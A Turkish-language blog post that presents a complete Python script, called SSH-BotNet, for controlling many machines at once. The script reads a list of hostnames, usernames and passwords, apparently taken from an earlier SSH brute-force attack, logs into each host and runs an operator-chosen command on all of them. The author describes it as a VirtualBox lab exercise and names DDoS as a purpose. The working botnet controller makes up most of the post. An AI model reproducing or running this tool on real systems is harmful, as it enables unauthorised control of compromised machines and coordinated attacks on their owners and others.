Erdem YILDIZ

Siber Güvenlik Araştırmacısı
Python Geliştiricisi
Linux Hayranı

Python ile SSH Botnet script'i yazma

Merhaba arkadaşlar bugün python ile yazmış olduğum script'de parametre olarak sizden SSH için hostname , username ve password'un barındığı bir dosya yolu ve üzerinde çalıştıracağınız komutu isteyen script'in amacını , kodlarını ve video ile kullanımı göstereceğim. Haydi bir giriş yapalım...

Arkadaşlar bu scripteki amacım şuydu.Bir botnet ağı nasıl oluşturulur ve nasıl kontol edilir konuları düşünürken VirtualBox'a yüklediğim OS'lar üzerinde bir ağ oluşturmak ve botnet'in tam olarak nasıl çalıştığını anlamaktı. Bir önceki script'e sizlere SSH Brute Force saldırısı yaparak gösterdiğimiz hedef üzerinde pekçok şifre deneyip SSH login olmaya çalışan bir blog yazısı paylaştım.Burada SSH Brute Force saldırsından elde ettiğimiz çalışan bilgileri kullanıp SSH protokolü üzerinden botnet ağı oluşturup göstermeye çalıştım.Bu arada unutmandan kendimce botnet'in bir tanımını yapmak isterim.Sizden sürekli komut almaya bekleyen köle bilgisayar topluluğuna Botnet denir.Böyle bir ağda bir hedef seçip saldırı düzenlenebilir(DDOS).

Kötü kod yazdığım için üzgünüm.Daha iyi bir yazılımcı olmak için yazılım geliştirme ve problem çözme yeteneğim üzerinde hala uğraşmaktayım.
                                        #SSH-BotNet.py
                                        # -*- coding: utf-8 -*-
                                        from pexpect import pxssh
                                        import threading
                                        import argparse
                                        class Botnet():
                                            def __init__(self,host,user,passw,command):
                                                self.host = host
                                                self.user = user
                                                self.password = passw

                                                self.session = self.Login()
                                                if self.session !=False:
                                                    self.SendCommand(command)

                                            def Login(self):
                                                try:
                                                    s = pxssh.pxssh()
                                                    s.login(self.host,self.user,self.password)
                                                    return s
                                                except Exception as e:
                                                    print "!!! ssh {}@{} Error".format(self.user,self.host)
                                                    return False
                                                    #print "Error this {}@{}".format(self.user,self.host)


                                            def SendCommand(self,command):
                                                self.session.sendline(command)
                                                self.session.prompt()

                                                print "-" * 50
                                                print "\n"

                                                print "{}@{} commands' output ".format(self.user,self.host)
                                                print self.session.before


                                        if __name__ == "__main__":
                                            parser = argparse.ArgumentParser()
                                            parser.add_argument("--b","--botnet-list",help="Please enter the current botnet list")
                                            args = parser.parse_args()
                                            with open(args.b , "r") as file:
                                                computer_list = file.readlines()


                                            try:
                                                command = raw_input("Please enter the command which you want to output from botnet: ")
                                                print "\n"
                                            except KeyboardInterrupt:
                                                print("\n")
                                                exit(0)
                                            for i in computer_list:
                                                t = threading.Thread(target=Botnet, args=( i.strip("\n").split(",")[0] , i.strip("\n").split(",")[1] , i.strip("\n").split(",")[2],command))
                                                t.start()
                                        

Yukarıda paylaşmış olduğum kodda bir sıkıntı yada yapılabilecek iyileştirmeler için bana ulaşabilirseniz çok sevinirim.Okuduğunuz için çok teşekkür ederim.Esen kalın :)